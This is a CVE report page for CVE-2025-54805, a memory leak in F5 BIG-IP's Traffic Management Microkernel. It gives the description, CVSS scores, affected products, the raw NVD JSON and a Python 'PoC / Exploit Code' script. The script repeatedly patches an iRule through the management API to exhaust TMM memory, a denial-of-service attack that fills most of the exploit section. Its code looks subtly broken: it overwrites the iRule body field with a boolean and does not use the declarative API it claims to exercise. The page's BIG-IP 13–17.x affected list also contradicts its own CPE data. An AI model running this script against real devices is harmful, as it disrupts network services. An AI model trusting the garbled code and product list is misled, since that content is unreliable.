Security Vulnerability Report
中文
CVE-2025-54805 CVSS 6.5 MEDIUM

CVE-2025-54805

Published: 2025-10-15 14:15:50
Last Modified: 2025-10-21 20:14:45

Description

When an iRule is configured on a virtual server via the declarative API, upon re-instantiation, the cleanup process can cause an increase in the Traffic Management Microkernel (TMM) memory resource utilization.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:f5:big-ip_next_cloud-native_network_functions:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_next_for_kubernetes:2.0.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:f5:big-ip_next_service_proxy_for_kubernetes:*:*:*:*:*:*:*:* - VULNERABLE
F5 BIG-IP 17.x(受影响,具体子版本参见F5官方公告K000151596)
F5 BIG-IP 16.x(受影响,具体子版本参见F5官方公告K000151596)
F5 BIG-IP 15.x(受影响,具体子版本参见F5官方公告K000151596)
F5 BIG-IP 14.x(受影响,具体子版本参见F5官方公告K000151596)
F5 BIG-IP 13.x(已EoTS,不在评估范围)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54805 PoC - F5 BIG-IP TMM Memory Exhaustion via Declarative API iRule Re-instantiation # This PoC demonstrates how to trigger memory exhaustion in TMM by repeatedly # reconfiguring iRules on a virtual server via the declarative API. import requests import json import sys import time # Configuration TARGET_HOST = "https://<f5-bigip-host>" USERNAME = "<username>" PASSWORD = "<password>" PARTITION = "Common" VIRTUAL_SERVER = "/<partition>/<virtual_server_name>" IRULE_NAME = "/<partition>/<trigger_irule>" ITERATIONS = 1000 # Number of re-instantiation cycles to trigger memory leak # Disable SSL warnings requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) def authenticate(session, host, username, password): """Authenticate to F5 BIG-IP and obtain session token.""" auth_url = f"{host}/mgmt/shared/authn/login" payload = { "username": username, "password": password, "loginProviderName": "tmos" } response = session.post(auth_url, json=payload, verify=False) response.raise_for_status() token = response.json()["token"]["token"] session.headers.update({"X-F5-Auth-Token": token}) print("[+] Authentication successful") return token def get_irule_config(session, host, irule_name): """Retrieve current iRule configuration.""" url = f"{host}/mgmt/tm/ltm/rule/{irule_name}" response = session.get(url, verify=False) response.raise_for_status() return response.json() def patch_irule_config(session, host, irule_name, irule_config): """Patch iRule configuration to trigger re-instantiation.""" url = f"{host}/mgmt/tm/ltm/rule/{irule_name}" # Modify a minor property to trigger re-instantiation irule_config["apiAnonymous"] = not irule_config.get("apiAnonymous", "") response = session.patch(url, json=irule_config, verify=False) response.raise_for_status() return response.json() def trigger_memory_leak(host, username, password, irule_name, iterations): """Main exploit function to trigger TMM memory exhaustion.""" session = requests.Session() session.headers.update({"Content-Type": "application/json"}) try: # Step 1: Authenticate authenticate(session, host, username, password) # Step 2: Get initial iRule config irule_config = get_irule_config(session, host, irule_name) print(f"[+] Retrieved iRule config: {irule_name}") # Step 3: Repeatedly modify iRule to trigger re-instantiation for i in range(iterations): irule_config = get_irule_config(session, host, irule_name) patch_irule_config(session, host, irule_name, irule_config) if (i + 1) % 100 == 0: print(f"[*] Completed {i + 1}/{iterations} re-instantiation cycles") time.sleep(0.1) print(f"[+] Exploit completed. TMM memory should be significantly consumed.") print("[!] Monitor TMM memory: tmsh show sys memory") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") sys.exit(1) finally: # Logout logout_url = f"{host}/mgmt/shared/authn/logout" session.post(logout_url, verify=False) if __name__ == "__main__": trigger_memory_leak(TARGET_HOST, USERNAME, PASSWORD, IRULE_NAME, ITERATIONS)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54805", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:49.810", "lastModified": "2025-10-21T20:14:45.210", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When an iRule is configured on a virtual server via the declarative API, upon re-instantiation, the cleanup process can cause an increase in the Traffic Management Microkernel (TMM) memory resource utilization.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_cloud-native_network_functions:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.1.0", "versionEndIncluding": "1.4.1", "matchCriteriaId": "3222CE1A-3C23-40FC-9331-370F6BA1CDCC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_for_kubernetes:2.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "AB9960E8-26E9-48E2-A398-7076A8B994DA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_service_proxy_for_kubernetes:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.7.0", "versionEndIncluding": "1.9.2", "matchCriteriaId": "4C7328B4-B7E0-460E-8270-116FE813FB23"}]}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000151596", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}